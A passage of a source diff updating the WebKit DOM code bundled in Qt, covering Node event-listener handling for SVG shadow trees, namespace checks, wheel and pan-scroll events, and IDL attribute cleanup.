     updateDOMNodeDocument(this, m_document, document);
 #endif
 
+    if (hasRareData() && rareData()->nodeLists()) {
+        if (m_document)
+            m_document->removeNodeListCache();
+        document->addNodeListCache();
+    }
+
     if (m_document)
         m_document->selfOnlyDeref();
 
@@ -674,7 +677,7 @@ void Node::normalize()
 
         // Merge text nodes.
         while (Node* nextSibling = node->nextSibling()) {
-            if (!nextSibling->isTextNode())
+            if (nextSibling->nodeType() != TEXT_NODE)
                 break;
             RefPtr<Text> nextText = static_cast<Text*>(nextSibling);
 
@@ -842,7 +845,7 @@ bool Node::isFocusable() const
         ASSERT(!renderer()->needsLayout());
     else
         // If the node is in a display:none tree it might say it needs style recalc but
-        // the whole document is atually up to date.
+        // the whole document is actually up to date.
         ASSERT(!document()->childNeedsStyleRecalc());
     
     // FIXME: Even if we are not visible, we might have a child that is visible.
@@ -910,7 +913,10 @@ void Node::notifyLocalNodeListsAttributeChanged()
     if (!data->nodeLists())
         return;
 
-    data->nodeLists()->invalidateCachesThatDependOnAttributes();
+    if (!isAttributeNode())
+        data->nodeLists()->invalidateCachesThatDependOnAttributes();
+    else
+        data->nodeLists()->invalidateCaches();
 
     if (data->nodeLists()->isEmpty()) {
         data->clearNodeLists();
@@ -1033,34 +1039,27 @@ Node* Node::traversePreviousSiblingPostOrder(const Node* stayWithin) const
     return 0;
 }
 
-void Node::checkSetPrefix(const AtomicString&, ExceptionCode& ec)
+void Node::checkSetPrefix(const AtomicString& prefix, ExceptionCode& ec)
 {
     // Perform error checking as required by spec for setting Node.prefix. Used by
     // Element::setPrefix() and Attr::setPrefix()
 
     // FIXME: Implement support for INVALID_CHARACTER_ERR: Raised if the specified prefix contains an illegal character.
     
-    // NO_MODIFICATION_ALLOWED_ERR: Raised if this node is readonly.
     if (isReadOnlyNode()) {
         ec = NO_MODIFICATION_ALLOWED_ERR;
         return;
     }
 
-    // FIXME: Implement NAMESPACE_ERR: - Raised if the specified prefix is malformed
-    // We have to comment this out, since it's used for attributes and tag names, and we've only
-    // switched one over.
-    /*
-    // - if the namespaceURI of this node is null,
-    // - if the specified prefix is "xml" and the namespaceURI of this node is different from
-    //   "http://www.w3.org/XML/1998/namespace",
-    // - if this node is an attribute and the specified prefix is "xmlns" and
-    //   the namespaceURI of this node is different from "http://www.w3.org/2000/xmlns/",
-    // - or if this node is an attribute and the qualifiedName of this node is "xmlns" [Namespaces].
-    if ((namespacePart(id()) == noNamespace && id() > ID_LAST_TAG) ||
-        (_prefix == "xml" && String(document()->namespaceURI(id())) != "http://www.w3.org/XML/1998/namespace")) {
+    // FIXME: Raise NAMESPACE_ERR if prefix is malformed per the Namespaces in XML specification.
+
+    const AtomicString& nodeNamespaceURI = namespaceURI();
+    if ((nodeNamespaceURI.isEmpty() && !prefix.isEmpty())
+        || (prefix == xmlAtom && nodeNamespaceURI != XMLNames::xmlNamespaceURI)) {
         ec = NAMESPACE_ERR;
         return;
-    }*/
+    }
+    // Attribute-specific checks are in Attr::setPrefix().
 }
 
 bool Node::canReplaceChild(Node* newChild, Node*)
@@ -1464,7 +1463,7 @@ bool Node::canStartSelection() const
 Node* Node::shadowAncestorNode()
 {
 #if ENABLE(SVG)
-    // SVG elements living in a shadow tree only occour when <use> created them.
+    // SVG elements living in a shadow tree only occur when <use> created them.
     // For these cases we do NOT want to return the shadowParentNode() here
     // but the actual shadow tree element - as main difference to the HTML forms
     // shadow tree concept. (This function _could_ be made virtual - opinions?)
@@ -1653,7 +1652,6 @@ PassRefPtr<Element> Node::querySelector(const String& selectors, ExceptionCode&
 
     // FIXME: we could also optimize for the the [id="foo"] case
     if (strictParsing && inDocument() && querySelectorList.hasOneSelector() && querySelectorList.first()->m_match == CSSSelector::Id) {
-        ASSERT(querySelectorList.first()->attribute() == idAttr);
         Element* element = document()->getElementById(querySelectorList.first()->m_value);
         if (element && (isDocumentNode() || element->isDescendantOf(this)) && selectorChecker.checkSelector(querySelectorList.first(), element))
             return element;
@@ -1763,25 +1761,24 @@ bool Node::isEqualNode(Node *other) const
     return true;
 }
 
-bool Node::isDefaultNamespace(const AtomicString &namespaceURI) const
+bool Node::isDefaultNamespace(const AtomicString& namespaceURIMaybeEmpty) const
 {
-    // Implemented according to
-    // http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/namespaces-algorithms.html#isDefaultNamespaceAlgo
-    
+    const AtomicString& namespaceURI = namespaceURIMaybeEmpty.isEmpty() ? nullAtom : namespaceURIMaybeEmpty;
+
     switch (nodeType()) {
         case ELEMENT_NODE: {
-            const Element *elem = static_cast<const Element *>(this);
+            const Element* elem = static_cast<const Element*>(this);
             
             if (elem->prefix().isNull())
                 return elem->namespaceURI() == namespaceURI;
 
             if (elem->hasAttributes()) {
-                NamedNodeMap *attrs = elem->attributes();
+                NamedNodeMap* attrs = elem->attributes();
                 
                 for (unsigned i = 0; i < attrs->length(); i++) {
-                    Attribute *attr = attrs->attributeItem(i);
+                    Attribute* attr = attrs->attributeItem(i);
                     
-                    if (attr->localName() == "xmlns")
+                    if (attr->localName() == xmlnsAtom)
                         return attr->value() == namespaceURI;
                 }
             }
@@ -1801,7 +1798,7 @@ bool Node::isDefaultNamespace(const AtomicString &namespaceURI) const
         case DOCUMENT_FRAGMENT_NODE:
             return false;
         case ATTRIBUTE_NODE: {
-            const Attr *attr = static_cast<const Attr *>(this);
+            const Attr* attr = static_cast<const Attr*>(this);
             if (attr->ownerElement())
                 return attr->ownerElement()->isDefaultNamespace(namespaceURI);
             return false;
@@ -1867,12 +1864,12 @@ String Node::lookupNamespaceURI(const String &prefix) const
                 for (unsigned i = 0; i < attrs->length(); i++) {
                     Attribute *attr = attrs->attributeItem(i);
                     
-                    if (attr->prefix() == "xmlns" && attr->localName() == prefix) {
+                    if (attr->prefix() == xmlnsAtom && attr->localName() == prefix) {
                         if (!attr->value().isEmpty())
                             return attr->value();
                         
                         return String();
-                    } else if (attr->localName() == "xmlns" && prefix.isNull()) {
+                    } else if (attr->localName() == xmlnsAtom && prefix.isNull()) {
                         if (!attr->value().isEmpty())
                             return attr->value();
                         
@@ -1922,7 +1919,7 @@ String Node::lookupNamespacePrefix(const AtomicString &_namespaceURI, const Elem
         for (unsigned i = 0; i < attrs->length(); i++) {
             Attribute *attr = attrs->attributeItem(i);
             
-            if (attr->prefix() == "xmlns" &&
+            if (attr->prefix() == xmlnsAtom &&
                 attr->value() == _namespaceURI &&
                 originalElement->lookupNamespaceURI(attr->localName()) == _namespaceURI)
                 return attr->localName();
@@ -2289,6 +2286,19 @@ ContainerNode* Node::eventParentNode()
     return static_cast<ContainerNode*>(parent);
 }
 
+Node* Node::enclosingLinkEventParentOrSelf()
+{
+    for (Node* node = this; node; node = node->eventParentNode()) {
+        // For imagemaps, the enclosing link node is the associated area element not the image itself.
+        // So we don't let images be the enclosingLinkNode, even though isLink sometimes returns true
+        // for them.
+        if (node->isLink() && !node->hasTagName(imgTag))
+            return node;
+    }
+
+    return 0;
+}
+
 // --------
 
 ScriptExecutionContext* Node::scriptExecutionContext() const
@@ -2318,49 +2328,159 @@ void Node::didMoveToNewOwnerDocument()
     setDidMoveToNewOwnerDocumentWasCalled(true);
 }
 
-static inline void updateSVGElementInstancesAfterEventListenerChange(Node* referenceNode)
+#if ENABLE(SVG)
+static inline HashSet<SVGElementInstance*> instancesForSVGElement(Node* node)
+{
+    HashSet<SVGElementInstance*> instances;
+ 
+    ASSERT(node);
+    if (!node->isSVGElement() || node->shadowTreeRootNode())
+        return HashSet<SVGElementInstance*>();
+
+    SVGElement* element = static_cast<SVGElement*>(node);
+    if (!element->isStyled())
+        return HashSet<SVGElementInstance*>();
+
+    SVGStyledElement* styledElement = static_cast<SVGStyledElement*>(element);
+    ASSERT(!styledElement->instanceUpdatesBlocked());
+
+    return styledElement->instancesForElement();
+}
+#endif
+
+static inline bool tryAddEventListener(Node* targetNode, const AtomicString& eventType, PassRefPtr<EventListener> listener, bool useCapture)
+{
+    if (!targetNode->EventTarget::addEventListener(eventType, listener, useCapture))
+        return false;
+
+    if (Document* document = targetNode->document())
+        document->addListenerTypeIfNeeded(eventType);
+
+    return true;
+}
+
+bool Node::addEventListener(const AtomicString& eventType, PassRefPtr<EventListener> listener, bool useCapture)
 {
 #if !ENABLE(SVG)
-    UNUSED_PARAM(referenceNode);
+    return tryAddEventListener(this, eventType, listener, useCapture);
 #else
-    ASSERT(referenceNode);
-    if (!referenceNode->isSVGElement())
-        return;
+    if (!isSVGElement())
+        return tryAddEventListener(this, eventType, listener, useCapture);
 
-    // Elements living inside a <use> shadow tree, never cause any updates!
-    if (referenceNode->shadowTreeRootNode())
-        return;
+    HashSet<SVGElementInstance*> instances = instancesForSVGElement(this);
+    if (instances.isEmpty())
+        return tryAddEventListener(this, eventType, listener, useCapture);
 
-    // We're possibly (a child of) an element that is referenced by a <use> client
-    // If an event listeners changes on a referenced element, update all instances.
-    for (Node* node = referenceNode; node; node = node->parentNode()) {
-        if (!node->hasID() || !node->isSVGElement())
-            continue;
+    RefPtr<EventListener> listenerForRegularTree = listener;
+    RefPtr<EventListener> listenerForShadowTree = listenerForRegularTree;
 
-        SVGElementInstance::invalidateAllInstancesOfElement(static_cast<SVGElement*>(node));
-        break;
+    // Add event listener to regular DOM element
+    if (!tryAddEventListener(this, eventType, listenerForRegularTree.release(), useCapture))
+        return false;
+
+    // Add event listener to all shadow tree DOM element instances
+    const HashSet<SVGElementInstance*>::const_iterator end = instances.end();
+    for (HashSet<SVGElementInstance*>::const_iterator it = instances.begin(); it != end; ++it) {
+        ASSERT((*it)->shadowTreeElement());
+        ASSERT((*it)->correspondingElement() == this);
+
+        RefPtr<EventListener> listenerForCurrentShadowTreeElement = listenerForShadowTree;
+        bool result = tryAddEventListener((*it)->shadowTreeElement(), eventType, listenerForCurrentShadowTreeElement.release(), useCapture);
+        ASSERT_UNUSED(result, result);
     }
+
+    return true;
 #endif
 }
 
-bool Node::addEventListener(const AtomicString& eventType, PassRefPtr<EventListener> listener, bool useCapture)
+static inline bool tryRemoveEventListener(Node* targetNode, const AtomicString& eventType, EventListener* listener, bool useCapture)
 {
-    if (!EventTarget::addEventListener(eventType, listener, useCapture))
+    if (!targetNode->EventTarget::removeEventListener(eventType, listener, useCapture))
         return false;
 
-    if (Document* document = this->document())
-        document->addListenerTypeIfNeeded(eventType);
-    updateSVGElementInstancesAfterEventListenerChange(this);
+    // FIXME: Notify Document that the listener has vanished. We need to keep track of a number of
+    // listeners for each type, not just a bool - see https://bugs.webkit.org/show_bug.cgi?id=33861
+
     return true;
 }
 
 bool Node::removeEventListener(const AtomicString& eventType, EventListener* listener, bool useCapture)
 {
-    if (!EventTarget::removeEventListener(eventType, listener, useCapture))
+#if !ENABLE(SVG)
+    return tryRemoveEventListener(this, eventType, listener, useCapture);
+#else
+    if (!isSVGElement())
+        return tryRemoveEventListener(this, eventType, listener, useCapture);
+
+    HashSet<SVGElementInstance*> instances = instancesForSVGElement(this);
+    if (instances.isEmpty())
+        return tryRemoveEventListener(this, eventType, listener, useCapture);
+
+    // EventTarget::removeEventListener creates a PassRefPtr around the given EventListener
+    // object when creating a temporary RegisteredEventListener object used to look up the
+    // event listener in a cache. If we want to be able to call removeEventListener() multiple
+    // times on different nodes, we have to delay its immediate destruction, which would happen
+    // after the first call below.
+    RefPtr<EventListener> protector(listener);
+
+    // Remove event listener from regular DOM element
+    if (!tryRemoveEventListener(this, eventType, listener, useCapture))
         return false;
 
-    updateSVGElementInstancesAfterEventListenerChange(this);
+    // Remove event listener from all shadow tree DOM element instances
+    const HashSet<SVGElementInstance*>::const_iterator end = instances.end();
+    for (HashSet<SVGElementInstance*>::const_iterator it = instances.begin(); it != end; ++it) {
+        ASSERT((*it)->correspondingElement() == this);
+
+        SVGElement* shadowTreeElement = (*it)->shadowTreeElement();
+        ASSERT(shadowTreeElement);
+
+        if (tryRemoveEventListener(shadowTreeElement, eventType, listener, useCapture))
+            continue;
+
+        // This case can only be hit for event listeners created from markup
+        ASSERT(listener->wasCreatedFromMarkup());
+
+        // If the event listener 'listener' has been created from markup and has been fired before
+        // then JSLazyEventListener::parseCode() has been called and m_jsFunction of that listener
+        // has been created (read: it's not 0 anymore). During shadow tree creation, the event
+        // listener DOM attribute has been cloned, and another event listener has been setup in
+        // the shadow tree. If that event listener has not been used yet, m_jsFunction is still 0,
+        // and tryRemoveEventListener() above will fail. Work around that very seldom problem.
+        EventTargetData* data = shadowTreeElement->eventTargetData();
+        ASSERT(data);
+
+        EventListenerMap::iterator result = data->eventListenerMap.find(eventType);
+        ASSERT(result != data->eventListenerMap.end());
+
+        EventListenerVector* entry = result->second;
+        ASSERT(entry);
+
+        unsigned int index = 0;
+        bool foundListener = false;
+
+        EventListenerVector::iterator end = entry->end();
+        for (EventListenerVector::iterator it = entry->begin(); it != end; ++it) {
+            if (!(*it).listener->wasCreatedFromMarkup()) {
+                ++index;
+                continue;
+            }
+
+            foundListener = true;
+            entry->remove(index);
+            break;
+        }
+
+        ASSERT(foundListener);
+
+        if (entry->isEmpty()) {                
+            delete entry;
+            data->eventListenerMap.remove(result);
+        }
+    }
+
     return true;
+#endif
 }
 
 EventTargetData* Node::eventTargetData()
@@ -2447,6 +2567,23 @@ bool Node::dispatchEvent(PassRefPtr<Event> prpEvent)
     return dispatchGenericEvent(event.release());
 }
 
+static bool eventHasListeners(const AtomicString& eventType, DOMWindow* window, Node* node, Vector<RefPtr<ContainerNode> >& ancestors)
+{
+    if (window && window->hasEventListeners(eventType))
+        return true;
+
+    if (node->hasEventListeners(eventType))
+        return true;
+
+    for (size_t i = 0; i < ancestors.size(); i++) {
+        ContainerNode* ancestor = ancestors[i].get();
+        if (ancestor->hasEventListeners(eventType))
+            return true;
+    }
+
+   return false;    
+}
+
 bool Node::dispatchGenericEvent(PassRefPtr<Event> prpEvent)
 {
     RefPtr<Event> event(prpEvent);
@@ -2455,12 +2592,6 @@ bool Node::dispatchGenericEvent(PassRefPtr<Event> prpEvent)
     ASSERT(event->target());
     ASSERT(!event->type().isNull()); // JavaScript code can create an event with an empty name, but not null.
 
-#if ENABLE(INSPECTOR)
-    InspectorTimelineAgent* timelineAgent = document()->inspectorTimelineAgent();
-    if (timelineAgent)
-        timelineAgent->willDispatchDOMEvent(*event);
-#endif
-
     // Make a vector of ancestors to send the event to.
     // If the node is not in a document just send the event to it.
     // Be sure to ref all of nodes since event handlers could result in the last reference going away.
@@ -2478,6 +2609,13 @@ bool Node::dispatchGenericEvent(PassRefPtr<Event> prpEvent)
             targetForWindowEvents = static_cast<Document*>(topLevelContainer)->domWindow();
     }
 
+#if ENABLE(INSPECTOR)
+    InspectorTimelineAgent* timelineAgent = document()->inspectorTimelineAgent();
+    bool timelineAgentIsActive = timelineAgent && eventHasListeners(event->type(), targetForWindowEvents, this, ancestors);
+    if (timelineAgentIsActive)
+        timelineAgent->willDispatchEvent(*event);
+#endif
+
     // Give the target node a chance to do some work before DOM event handlers get a crack.
     void* data = preDispatchEventHandler(event.get());
     if (event->propagationStopped())
@@ -2559,8 +2697,8 @@ doneDispatching:
 
 doneWithDefault:
 #if ENABLE(INSPECTOR)
-    if (timelineAgent)
-        timelineAgent->didDispatchDOMEvent();
+    if (timelineAgentIsActive && (timelineAgent = document()->inspectorTimelineAgent()))
+        timelineAgent->didDispatchEvent();
 #endif
 
     Document::updateStyleForAllDocuments();
@@ -2585,7 +2723,8 @@ void Node::dispatchSubtreeModifiedEvent()
 void Node::dispatchUIEvent(const AtomicString& eventType, int detail, PassRefPtr<Event> underlyingEvent)
 {
     ASSERT(!eventDispatchForbidden());
-    ASSERT(eventType == eventNames().DOMFocusInEvent || eventType == eventNames().DOMFocusOutEvent || eventType == eventNames().DOMActivateEvent);
+    ASSERT(eventType == eventNames().focusinEvent || eventType == eventNames().focusoutEvent || 
+           eventType == eventNames().DOMFocusInEvent || eventType == eventNames().DOMFocusOutEvent || eventType == eventNames().DOMActivateEvent);
     
     bool cancelable = eventType == eventNames().DOMActivateEvent;
     
@@ -2727,7 +2866,7 @@ bool Node::dispatchMouseEvent(const AtomicString& eventType, int button, int det
     if (eventType == eventNames().clickEvent && detail == 2) {
         RefPtr<Event> doubleClickEvent = MouseEvent::create(eventNames().dblclickEvent,
             true, cancelable, document()->defaultView(),
-            detail, screenX, screenY, pageX, pageY,
+            detail, screenX, screenY, adjustedPageX, adjustedPageY,
             ctrlKey, altKey, shiftKey, metaKey, button,
             relatedTarget, 0, isSimulated);
         doubleClickEvent->setUnderlyingEvent(underlyingEvent.get());
@@ -2764,14 +2903,27 @@ void Node::dispatchWheelEvent(PlatformWheelEvent& e)
         }
     }
     
-    RefPtr<WheelEvent> we = WheelEvent::create(e.wheelTicksX(), e.wheelTicksY(),
+    WheelEvent::Granularity granularity;
+    switch (e.granularity()) {
+    case ScrollByPageWheelEvent:
+        granularity = WheelEvent::Page;
+        break;
+    case ScrollByPixelWheelEvent:
+    default:
+        granularity = WheelEvent::Pixel;
+        break;
+    }
+    
+    RefPtr<WheelEvent> we = WheelEvent::create(e.wheelTicksX(), e.wheelTicksY(), e.deltaX(), e.deltaY(), granularity,
         document()->defaultView(), e.globalX(), e.globalY(), adjustedPageX, adjustedPageY,
         e.ctrlKey(), e.altKey(), e.shiftKey(), e.metaKey());
 
     we->setAbsoluteLocation(IntPoint(pos.x(), pos.y()));
 
-    if (!dispatchEvent(we.release()))
+    if (!dispatchEvent(we) || we->defaultHandled())
         e.accept();
+
+    we.release();
 }
 
 void Node::dispatchFocusEvent()
@@ -2811,6 +2963,35 @@ void Node::defaultEventHandler(Event* event)
         if (event->isTextEvent())
             if (Frame* frame = document()->frame())
                 frame->eventHandler()->defaultTextInputEventHandler(static_cast<TextEvent*>(event));
+#if ENABLE(PAN_SCROLLING)
+    } else if (eventType == eventNames().mousedownEvent) {
+        MouseEvent* mouseEvent = static_cast<MouseEvent*>(event);
+        if (mouseEvent->button() == MiddleButton) {
+            if (enclosingLinkEventParentOrSelf())
+                return;
+
+            RenderObject* renderer = this->renderer();
+            while (renderer && (!renderer->isBox() || !toRenderBox(renderer)->canBeScrolledAndHasScrollableArea()))
+                renderer = renderer->parent();
+
+            if (renderer) {
+                if (Frame* frame = document()->frame())
+                    frame->eventHandler()->startPanScrolling(renderer);
+            }
+        }
+#endif
+    } else if (eventType == eventNames().mousewheelEvent && event->isWheelEvent()) {
+        WheelEvent* wheelEvent = static_cast<WheelEvent*>(event);
+        
+        // If we don't have a renderer, send the wheel event to the first node we find with a renderer.
+        // This is needed for <option> and <optgroup> elements so that <select>s get a wheel scroll.
+        Node* startNode = this;
+        while (startNode && !startNode->renderer())
+            startNode = startNode->parent();
+        
+        if (startNode && startNode->renderer())
+            if (Frame* frame = document()->frame())
+                frame->eventHandler()->defaultWheelEventHandler(startNode, wheelEvent);
     }
 }
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Node.h b/src/3rdparty/webkit/WebCore/dom/Node.h
index 35be6d3..3d716fd 100644
--- a/src/3rdparty/webkit/WebCore/dom/Node.h
+++ b/src/3rdparty/webkit/WebCore/dom/Node.h
@@ -27,14 +27,9 @@
 
 #include "EventTarget.h"
 #include "KURLHash.h"
-#include "PlatformString.h"
-#include "RegisteredEventListener.h"
+#include "ScriptWrappable.h"
 #include "TreeShared.h"
-#include "FloatPoint.h"
-#include <wtf/Assertions.h>
 #include <wtf/ListHashSet.h>
-#include <wtf/OwnPtr.h>
-#include <wtf/PassRefPtr.h>
 
 namespace WebCore {
 
@@ -46,6 +41,7 @@ class DynamicNodeList;
 class Element;
 class Event;
 class EventListener;
+class FloatPoint;
 class Frame;
 class IntRect;
 class KeyboardEvent;
@@ -81,7 +77,7 @@ const unsigned short DOCUMENT_POSITION_CONTAINED_BY = 0x10;
 const unsigned short DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC = 0x20;
 
 // this class implements nodes, which can have a parent but no children:
-class Node : public EventTarget, public TreeShared<Node> {
+class Node : public EventTarget, public TreeShared<Node>, public ScriptWrappable {
     friend class Document;
 public:
     enum NodeType {
@@ -206,6 +202,9 @@ public:
     // The node's parent for the purpose of event capture and bubbling.
     virtual ContainerNode* eventParentNode();
 
+    // Returns the enclosing event parent node (or self) that, when clicked, would trigger a navigation.
+    Node* enclosingLinkEventParentOrSelf();
+
     // Node ancestors when concerned about event flow
     void eventAncestors(Vector<RefPtr<ContainerNode> > &ancestors);
 
@@ -252,7 +251,7 @@ public:
     virtual ContainerNode* addChild(PassRefPtr<Node>);
 
     // Called by the parser when this element's close tag is reached,
-    // signalling that all child tags have been parsed and added.
+    // signaling that all child tags have been parsed and added.
     // This is needed for <applet> and <object> elements, which can't lay themselves out
     // until they know all of their nested <param>s. [Radar 3603191, 4040848].
     // Also used for script elements and some SVG elements for similar purposes,
@@ -289,9 +288,6 @@ public:
     void setNeedsStyleRecalc(StyleChangeType changeType = FullStyleChange);
     void setIsLink(bool b = true) { m_isLink = b; }
 
-    bool inSubtreeMark() const { return m_inSubtreeMark; }
-    void setInSubtreeMark(bool b = true) { m_inSubtreeMark = b; }
-
     void lazyAttach();
     virtual bool canLazyAttach();
 
@@ -575,7 +571,10 @@ protected:
     void setTabIndexExplicitly(short);
     
     bool hasRareData() const { return m_hasRareData; }
-    
+#if ENABLE(SVG)
+    bool hasRareSVGData() const { return m_hasRareSVGData; }
+#endif
+
     NodeRareData* rareData() const;
     NodeRareData* ensureRareData();
 
@@ -588,8 +587,6 @@ private:
     virtual void refEventTarget() { ref(); }
     virtual void derefEventTarget() { deref(); }
 
-    void removeAllEventListenersSlowCase();
-
     virtual NodeRareData* createRareData();
     Node* containerChildNode(unsigned index) const;
     unsigned containerChildNodeCount() const;
@@ -623,7 +620,6 @@ private:
     bool m_hovered : 1;
     bool m_inActiveChain : 1;
     bool m_inDetach : 1;
-    bool m_inSubtreeMark : 1;
     bool m_hasRareData : 1;
     const bool m_isElement : 1;
     const bool m_isContainer : 1;
@@ -640,9 +636,10 @@ protected:
 #if ENABLE(SVG)
     mutable bool m_areSVGAttributesValid : 1; // Element
     mutable bool m_synchronizingSVGAttributes : 1; // SVGElement
+    bool m_hasRareSVGData : 1; // SVGElement
 #endif
 
-    // 11 bits remaining
+    // 10 bits remaining
 };
 
 // Used in Node::addSubresourceAttributeURLs() and in addSubresourceStyleURLs()
diff --git a/src/3rdparty/webkit/WebCore/dom/Node.idl b/src/3rdparty/webkit/WebCore/dom/Node.idl
index 45ea132..0489316 100644
--- a/src/3rdparty/webkit/WebCore/dom/Node.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Node.idl
@@ -21,16 +21,14 @@
 module core {
 
     interface [
+        CustomHeader,
         CustomMarkFunction,
         CustomPushEventHandlerScope,
         CustomToJS,
         EventTarget,
-        GenerateConstructor,
         GenerateNativeConverter,
         InlineGetOwnPropertySlot,
-        Polymorphic,
-        InterfaceUUID=84BA0D7A-7E3E-4a7b-B6FB-7653E8FB54ED,
-        ImplementationUUID=81B47FDB-94B0-40fd-8E0C-FB2A6E53CC04
+        Polymorphic
     ] Node
 #if defined(LANGUAGE_OBJECTIVE_C) && LANGUAGE_OBJECTIVE_C
         : Object, EventTarget
@@ -135,17 +133,15 @@ module core {
 #endif /* defined(LANGUAGE_OBJECTIVE_C) */
 
 #if !defined(LANGUAGE_OBJECTIVE_C) || !LANGUAGE_OBJECTIVE_C
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
-        [Custom] void addEventListener(in DOMString type, 
-                                       in EventListener listener, 
-                                       in boolean useCapture);
-        [Custom] void removeEventListener(in DOMString type, 
+        [JSCCustom] void addEventListener(in DOMString type, 
                                           in EventListener listener, 
                                           in boolean useCapture);
+        [JSCCustom] void removeEventListener(in DOMString type, 
+                                             in EventListener listener, 
+                                             in boolean useCapture);
         boolean dispatchEvent(in Event event)
             raises(EventException);
 #endif
-#endif
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/NodeFilter.h b/src/3rdparty/webkit/WebCore/dom/NodeFilter.h
index 5a542ad..53b32e1 100644
--- a/src/3rdparty/webkit/WebCore/dom/NodeFilter.h
+++ b/src/3rdparty/webkit/WebCore/dom/NodeFilter.h
@@ -73,8 +73,9 @@ namespace WebCore {
         short acceptNode(ScriptState*, Node*) const;
         void markAggregate(JSC::MarkStack& markStack) { m_condition->markAggregate(markStack); };
 
-        // For non-JS bindings. Silently ignores the JavaScript exception if any.
-        short acceptNode(Node* node) const { return acceptNode(scriptStateFromNode(node), node); }
+        // Do not call these functions. They are just scaffolding to support the Objective-C bindings.
+        // They operate in the main thread normal world, and they swallow JS exceptions.
+        short acceptNode(Node* node) const { return acceptNode(scriptStateFromNode(mainThreadNormalWorld(), node), node); }
 
     private:
         NodeFilter(PassRefPtr<NodeFilterCondition> condition) : m_condition(condition) { }
diff --git a/src/3rdparty/webkit/WebCore/dom/NodeFilter.idl b/src/3rdparty/webkit/WebCore/dom/NodeFilter.idl
index 3cc5e86..d721f80 100644
--- a/src/3rdparty/webkit/WebCore/dom/NodeFilter.idl
+++ b/src/3rdparty/webkit/WebCore/dom/NodeFilter.idl
@@ -21,7 +21,7 @@
 module traversal {
 
     // Introduced in DOM Level 2:
-    interface [GenerateConstructor, CustomMarkFunction, CustomNativeConverter, ObjCProtocol] NodeFilter {
+    interface [CustomMarkFunction, CustomNativeConverter, ObjCProtocol] NodeFilter {
 
         // Constants returned by acceptNode
         const short               FILTER_ACCEPT                  = 1;
diff --git a/src/3rdparty/webkit/WebCore/dom/NodeIterator.h b/src/3rdparty/webkit/WebCore/dom/NodeIterator.h
index 2a992d3..3eec49a 100644
--- a/src/3rdparty/webkit/WebCore/dom/NodeIterator.h
+++ b/src/3rdparty/webkit/WebCore/dom/NodeIterator.h
@@ -52,9 +52,10 @@ namespace WebCore {
         // This function is called before any node is removed from the document tree.
         void nodeWillBeRemoved(Node*);
 
-        // For non-JS bindings. Silently ignores the JavaScript exception if any.
-        PassRefPtr<Node> nextNode(ExceptionCode& ec) { return nextNode(scriptStateFromNode(referenceNode()), ec); }
-        PassRefPtr<Node> previousNode(ExceptionCode& ec) { return previousNode(scriptStateFromNode(referenceNode()), ec); }
+        // Do not call these functions. They are just scaffolding to support the Objective-C bindings.
+        // They operate in the main thread normal world, and they swallow JS exceptions.
+        PassRefPtr<Node> nextNode(ExceptionCode& ec) { return nextNode(scriptStateFromNode(mainThreadNormalWorld(), referenceNode()), ec); }
+        PassRefPtr<Node> previousNode(ExceptionCode& ec) { return previousNode(scriptStateFromNode(mainThreadNormalWorld(), referenceNode()), ec); }
 
     private:
         NodeIterator(PassRefPtr<Node>, unsigned whatToShow, PassRefPtr<NodeFilter>, bool expandEntityReferences);
diff --git a/src/3rdparty/webkit/WebCore/dom/NodeIterator.idl b/src/3rdparty/webkit/WebCore/dom/NodeIterator.idl
index 8805d07..e1818a1 100644
--- a/src/3rdparty/webkit/WebCore/dom/NodeIterator.idl
+++ b/src/3rdparty/webkit/WebCore/dom/NodeIterator.idl
@@ -22,8 +22,7 @@ module traversal {
 
     // Introduced in DOM Level 2:
     interface [
-        CustomMarkFunction,
-        GenerateConstructor
+        CustomMarkFunction
     ] NodeIterator {
         readonly attribute Node root;
         readonly attribute unsigned long whatToShow;
diff --git a/src/3rdparty/webkit/WebCore/dom/NodeList.idl b/src/3rdparty/webkit/WebCore/dom/NodeList.idl
index cf21cc7..edb2dc7 100644
--- a/src/3rdparty/webkit/WebCore/dom/NodeList.idl
+++ b/src/3rdparty/webkit/WebCore/dom/NodeList.idl
@@ -21,12 +21,9 @@
 module core {
 
     interface [
-        GenerateConstructor,
         HasIndexGetter,
         HasNameGetter,
-        CustomCall,
-        InterfaceUUID=F9A9F6A9-385C-414e-A6F6-E2E0CF574130,
-        ImplementationUUID=BBB49E8B-DB1D-4c4a-B970-D300FB4609FA
+        CustomCall
     ] NodeList {
 
         Node item(in [IsIndex] unsigned long index);
diff --git a/src/3rdparty/webkit/WebCore/dom/NodeRareData.h b/src/3rdparty/webkit/WebCore/dom/NodeRareData.h
index 8b9e1bf..6e9d0e4 100644
--- a/src/3rdparty/webkit/WebCore/dom/NodeRareData.h
+++ b/src/3rdparty/webkit/WebCore/dom/NodeRareData.h
@@ -33,7 +33,7 @@
 
 namespace WebCore {
 
-struct NodeListsNodeData {
+struct NodeListsNodeData : Noncopyable {
     typedef HashSet<DynamicNodeList*> NodeListSet;
     NodeListSet m_listsWithCaches;
     
@@ -62,7 +62,7 @@ private:
     }
 };
     
-class NodeRareData {
+class NodeRareData : public Noncopyable {
 public:    
     NodeRareData()
         : m_tabIndex(0)
diff --git a/src/3rdparty/webkit/WebCore/dom/Notation.idl b/src/3rdparty/webkit/WebCore/dom/Notation.idl
index a16fde6..96351d2 100644
--- a/src/3rdparty/webkit/WebCore/dom/Notation.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Notation.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=6580C703-F5FF-40a7-ACF2-AB80EBC83CA1,
-        ImplementationUUID=A52869F7-A3CE-4f4c-8C27-E369C4ED9FF9
-    ] Notation : Node {
+    interface Notation : Node {
         readonly attribute [ConvertNullStringTo=Null] DOMString publicId;
         readonly attribute [ConvertNullStringTo=Null] DOMString systemId;
     };
diff --git a/src/3rdparty/webkit/WebCore/dom/OptionElement.h b/src/3rdparty/webkit/WebCore/dom/OptionElement.h
index a765d53..232c3ee 100644
--- a/src/3rdparty/webkit/WebCore/dom/OptionElement.h
+++ b/src/3rdparty/webkit/WebCore/dom/OptionElement.h
@@ -34,6 +34,7 @@ class OptionElement {
 public:
     virtual ~OptionElement() { }
 
+    virtual bool disabled() const = 0;
     virtual bool selected() const = 0;
